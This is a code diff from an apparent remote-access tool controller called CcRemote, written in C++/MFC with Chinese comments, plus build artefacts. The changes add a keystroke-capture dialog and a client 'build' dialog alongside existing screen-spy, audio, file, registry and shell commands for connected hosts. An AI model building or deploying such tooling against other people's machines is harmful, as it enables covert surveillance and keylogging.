||||
}
|
||||
|
||||
@@ -499,25 +533,25 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
|
||||
CMenu* pM = popup.GetSubMenu(0);//得到菜单项
|
||||
CMenu* pM = popup.GetSubMenu(0); // 得到菜单项
|
||||
CPoint p;
|
||||
GetCursorPos(&p);//得到鼠标指针的位置
|
||||
int count = pM->GetMenuItemCount();//得到菜单的个数
|
||||
if (m_CList_Online.GetSelectedCount() == 0) //如果没有选中
|
||||
GetCursorPos(&p); // 得到鼠标指针的位置
|
||||
int count = pM->GetMenuItemCount(); // 得到菜单的个数
|
||||
if (m_CList_Online.GetSelectedCount() == 0) // 如果没有选中
|
||||
{
|
||||
for (int i = 0; i < count; i++) //遍历每一个菜单
|
||||
{
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); // 菜单全部变灰
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int i = 0; i < count; i++) //遍历每一个菜单
|
||||
for (int i = 0; i < count; i++) // 遍历每一个菜单
|
||||
{
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); //菜单可用
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); // 菜单可用
|
||||
}
|
||||
}
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); //在指定位置显示菜单
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); // 在指定位置显示菜单
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
@@ -526,7 +560,7 @@ void CCcRemoteDlg::OnOnlineAudio()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// MessageBox("声音");
|
||||
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
|
||||
BYTE bToken = COMMAND_AUDIO; // 向服务端发送命令
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
|
||||
}
|
||||
@@ -544,7 +578,7 @@ void CCcRemoteDlg::OnOnlineCmd()
|
||||
void CCcRemoteDlg::OnOnlineDesktop()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
|
||||
BYTE bToken = COMMAND_SCREEN_SPY; // 向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -552,7 +586,7 @@ void CCcRemoteDlg::OnOnlineDesktop()
|
||||
void CCcRemoteDlg::OnOnlineFile()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; //在服务端中搜索COMMAND_LIST_DRIVE
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; // 服务端中COMMAND_LIST_DRIVE
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -560,7 +594,7 @@ void CCcRemoteDlg::OnOnlineFile()
|
||||
void CCcRemoteDlg::OnOnlineProcess()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端,到服务端搜索COMMAND_SYSTEM
|
||||
BYTE bToken = COMMAND_SYSTEM; // 赋值一个宏 然后发送到服务端,到服务端搜索COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -568,6 +602,7 @@ void CCcRemoteDlg::OnOnlineProcess()
|
||||
void CCcRemoteDlg::OnOnlineRegist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
|
||||
BYTE bToken = COMMAND_REGEDIT;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
@@ -576,7 +611,7 @@ void CCcRemoteDlg::OnOnlineRegist()
|
||||
void CCcRemoteDlg::OnOnlineServer()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SERVICES; //赋值一个宏 然后发送到服务端,服务端COMMAND_SYSTEM
|
||||
BYTE bToken = COMMAND_SERVICES; // 赋值一个宏 然后发送到服务端,服务端COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -584,6 +619,8 @@ void CCcRemoteDlg::OnOnlineServer()
|
||||
void CCcRemoteDlg::OnOnlineVideo()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_KEYBOARD;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
|
||||
@@ -598,12 +635,12 @@ void CCcRemoteDlg::OnOnlineWindow()
|
||||
void CCcRemoteDlg::OnOnlineDelete()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CString strIP;//选择断开的IP
|
||||
int iSelect = m_CList_Online.GetSelectionMark();//获得选中的行
|
||||
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);//获取断开的IP字符串
|
||||
m_CList_Online.DeleteItem(iSelect);//删除该列表项
|
||||
CString strIP;// 选择断开的IP
|
||||
int iSelect = m_CList_Online.GetSelectionMark();// 获得选中的行
|
||||
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);// 获取断开的IP字符串
|
||||
m_CList_Online.DeleteItem(iSelect);// 删除该列表项
|
||||
strIP += " 由主机主动断开连接";
|
||||
ShowMessage(true, strIP);//显示日志
|
||||
ShowMessage(true, strIP);// 显示日志
|
||||
}
|
||||
|
||||
|
||||
@@ -625,14 +662,19 @@ void CCcRemoteDlg::OnMainClose()
|
||||
void CCcRemoteDlg::OnMainBuild()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CBuildDlg buildDlg;
|
||||
buildDlg.DoModal();
|
||||
}
|
||||
|
||||
|
||||
void CCcRemoteDlg::OnMainAbout()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CAboutDlg dlgAbout;
|
||||
dlgAbout.DoModal();
|
||||
//CAboutDlg dlgAbout;
|
||||
//dlgAbout.DoModal();
|
||||
CHelpWindow dlgAbouts;
|
||||
dlgAbouts.DoModal();
|
||||
}
|
||||
|
||||
|
||||
@@ -695,7 +737,7 @@ void CCcRemoteDlg::InitToolBar()
|
||||
m_ToolBar.SetButtonText(3, "桌面管理");
|
||||
m_ToolBar.SetButtonText(4, "文件管理");
|
||||
m_ToolBar.SetButtonText(5, "语音管理");
|
||||
m_ToolBar.SetButtonText(6, "视频管理");
|
||||
m_ToolBar.SetButtonText(6, "键盘管理");
|
||||
m_ToolBar.SetButtonText(7, "服务管理");
|
||||
m_ToolBar.SetButtonText(8, "注册表管理");
|
||||
m_ToolBar.SetButtonText(10, "参数设置");
|
||||
@@ -799,7 +841,7 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
return;
|
||||
|
||||
// 如果管理对话框打开,交给相应的对话框处理
|
||||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
|
||||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; // ClientContext 结构体的int m_Dialog[2];
|
||||
|
||||
// 交给窗口处理
|
||||
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
|
||||
@@ -818,9 +860,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
case AUDIO_DLG:
|
||||
((CAudioDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
//case KEYBOARD_DLG:
|
||||
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case KEYBOARD_DLG:
|
||||
((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SYSTEM_DLG:
|
||||
((CSystemDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
@@ -872,19 +914,16 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
/*
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
break;*/
|
||||
case TOKEN_AUDIO_START: // 语音
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
||||
// 指接调用public函数非模态对话框会失去反应
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_BITMAPINFO: //
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
||||
// 指接调用public函数非模态对话框会失去反应
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
|
||||
@@ -901,6 +940,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
case TOKEN_REGEDIT:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
// 命令停止当前操作
|
||||
default:
|
||||
closesocket(pContext->m_Socket);
|
||||
@@ -980,19 +1022,14 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
|
||||
LoginInfo->OsVerInfoEx.wServicePackMajor,
|
||||
LoginInfo->OsVerInfoEx.dwBuildNumber
|
||||
);
|
||||
//m_pListCtrl->SetItemText(i, 4, strOS);
|
||||
|
||||
|
||||
// CPU
|
||||
strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
|
||||
//m_pListCtrl->SetItemText(i, 5, str);
|
||||
|
||||
|
||||
// Speed
|
||||
strPing.Format("%d", LoginInfo->dwSpeed);
|
||||
//m_pListCtrl->SetItemText(i, 6, str);
|
||||
|
||||
|
||||
strVideo = LoginInfo->bIsWebCam ? "有" : "--";
|
||||
//m_pListCtrl->SetItemText(i, 7, str);
|
||||
|
||||
strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS);
|
||||
|
||||
@@ -1001,12 +1038,8 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
|
||||
|
||||
strAddr = m_QQwry->IPtoAdd(IPAddress);
|
||||
|
||||
//strToolTipsText += "\nArea: ";
|
||||
//strToolTipsText += str;
|
||||
}
|
||||
// 指定唯一标识
|
||||
//m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存
|
||||
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
|
||||
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
|
||||
}
|
||||
catch (...) {}
|
||||
|
||||
@@ -1055,11 +1088,11 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为卓面
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); // 创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); // 显示对话框
|
||||
|
||||
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[0] = SYSTEM_DLG; // 这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||
return 0;
|
||||
@@ -1103,7 +1136,7 @@ LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为卓面
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_AUDIO, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
pContext->m_Dialog[0] = AUDIO_DLG;
|
||||
@@ -1127,7 +1160,7 @@ LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
//注册表管理窗口
|
||||
// 注册表管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
@@ -1143,6 +1176,68 @@ LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 键盘管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CKeyBoardDlg *dlg = new CKeyBoardDlg(this, m_iocpServer, pContext);
|
||||
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_KEYBOARD, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = KEYBOARD_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
LRESULT CCcRemoteDlg::OnRemoveFromList(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
if (pContext == NULL)
|
||||
return -1;
|
||||
// 删除链表过程中可能会删除Context
|
||||
CString strIP;//选择断开的IP
|
||||
try
|
||||
{
|
||||
int nCnt = m_CList_Online.GetItemCount();
|
||||
for (int i = 0; i < nCnt; i++)
|
||||
{
|
||||
if (pContext == (ClientContext *)m_CList_Online.GetItemData(i))
|
||||
{
|
||||
strIP = m_CList_Online.GetItemText(i, ONLINELIST_IP);//获取断开的IP字符串
|
||||
strIP += "下线";
|
||||
ShowMessage(true, strIP);//显示日志// 更新当前连接总数
|
||||
m_CList_Online.DeleteItem(i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 关闭相关窗口
|
||||
|
||||
switch (pContext->m_Dialog[0])
|
||||
{
|
||||
case FILEMANAGER_DLG:
|
||||
case SCREENSPY_DLG:
|
||||
case WEBCAM_DLG:
|
||||
case AUDIO_DLG:
|
||||
case KEYBOARD_DLG:
|
||||
case SYSTEM_DLG:
|
||||
case SHELL_DLG:
|
||||
//((CDialog*)pContext->m_Dialog[1])->SendMessage(WM_CLOSE);
|
||||
((CDialog*)pContext->m_Dialog[1])->DestroyWindow();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (...) {}
|
||||
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//绘制背景图片
|
||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
@@ -1167,17 +1262,37 @@ HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
if (m_CList_Online.m_hWnd != NULL&& isTrue == 0)
|
||||
if (m_CList_Online.m_hWnd != NULL&& isOnlineIcoTrue == 0)
|
||||
{
|
||||
TCHAR szBuffer[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
CString sPath = (CString)szBuffer;
|
||||
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
sPath += "res\\list_online_pic.bmp";
|
||||
isTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
isOnlineIcoTrue = m_CList_Online.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
}
|
||||
if (m_CList_Message.m_hWnd != NULL && isMessageIcoTrue == 0)
|
||||
{
|
||||
TCHAR szBuffer[_MAX_PATH];
|
||||
VERIFY(::GetModuleFileName(AfxGetInstanceHandle(), szBuffer, _MAX_PATH));
|
||||
CString sPath = (CString)szBuffer;
|
||||
sPath = sPath.Left(sPath.ReverseFind('\\') + 1);
|
||||
sPath += "res\\list_message_pic.bmp";
|
||||
isMessageIcoTrue = m_CList_Message.SetBkImage(sPath.GetBuffer(sPath.GetLength()), TRUE); // 定义:CListCtrl m_controllist1;
|
||||
sPath.ReleaseBuffer();
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
}
|
||||
if (nCtlColor == CTLCOLOR_STATIC)
|
||||
{
|
||||
pDC->SetTextColor(RGB(255, 255, 255));
|
||||
pDC->SetBkMode(TRANSPARENT); //设置背景透明
|
||||
return HBRUSH(GetStockObject(HOLLOW_BRUSH));
|
||||
|
||||
}
|
||||
|
||||
return hbr;
|
||||
}
|
||||
|
||||
|
||||
|
@@ -11,6 +11,9 @@
|
||||
#include "CFileManagerDlg.h"
|
||||
#include "CAudioDlg.h"
|
||||
#include "CServerDlg.h"
|
||||
#include "CKeyBoardDlg.h"
|
||||
#include "CHelpWindow.h"
|
||||
#include "CBuildDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
@@ -50,6 +53,7 @@ public:
|
||||
|
||||
private:
|
||||
//--------------变量及常量----------------
|
||||
CBitmap m_IconBitmap;
|
||||
NOTIFYICONDATA nid; // 含有图标 消息响应 的一个结构体 用于系统托盘
|
||||
CMenu popup; // LIST菜单变量
|
||||
SEU_QQwry* m_QQwry; // 识别IP区域
|
||||
@@ -63,12 +67,13 @@ private:
|
||||
CBitmap m_BitmapPicLogoA;
|
||||
CStatic m_PicLogoA; // 左上角logo
|
||||
|
||||
bool isTrue; //list背景是否已经加载
|
||||
bool isOnlineIcoTrue; // list背景是否已经加载
|
||||
bool isMessageIcoTrue;
|
||||
|
||||
#define COLUMN_ONLINE_COUNT 7 //在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 //消息列表的个数
|
||||
int m_Column_Online_Width = 0; //在线列表宽度和
|
||||
int m_Column_Message_Width = 0; //消息列表的宽度和
|
||||
#define COLUMN_ONLINE_COUNT 7 // 在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 // 消息列表的个数
|
||||
int m_Column_Online_Width = 0; // 在线列表宽度和
|
||||
int m_Column_Message_Width = 0; // 消息列表的宽度和
|
||||
|
||||
COLUMNSTRUCT m_Column_Online_Data[COLUMN_ONLINE_COUNT] =
|
||||
{
|
||||
@@ -88,8 +93,6 @@ private:
|
||||
{"信息内容", 660 }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//-----------------------函数-----------------------
|
||||
void Test();
|
||||
int InitList(); // 初始化list控件信息
|
||||
@@ -105,7 +108,7 @@ private:
|
||||
// 添加信息到列表
|
||||
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
|
||||
|
||||
// socket 的处理都要调用这个回调函数
|
||||
// 接收到的数据的处理都要调用这个回调函数
|
||||
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
|
||||
|
||||
// 控制命令都要经过这个函数
|
||||
@@ -122,6 +125,8 @@ public:
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenRegEditDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenKeyBoardDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnRemoveFromList(WPARAM, LPARAM);
|
||||
|
||||
//-------------系统消息处理-------------
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
|
@@ -1,34 +1,40 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\regdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\regdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ckeyboarddlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\chelpwindow.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
f:\myapp\ccremote\bin\ccremote.ilk
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,14 +1,12 @@
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
CcRemote.cpp
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
CcRemoteDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(174): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(333): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(353): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(857): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(945): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
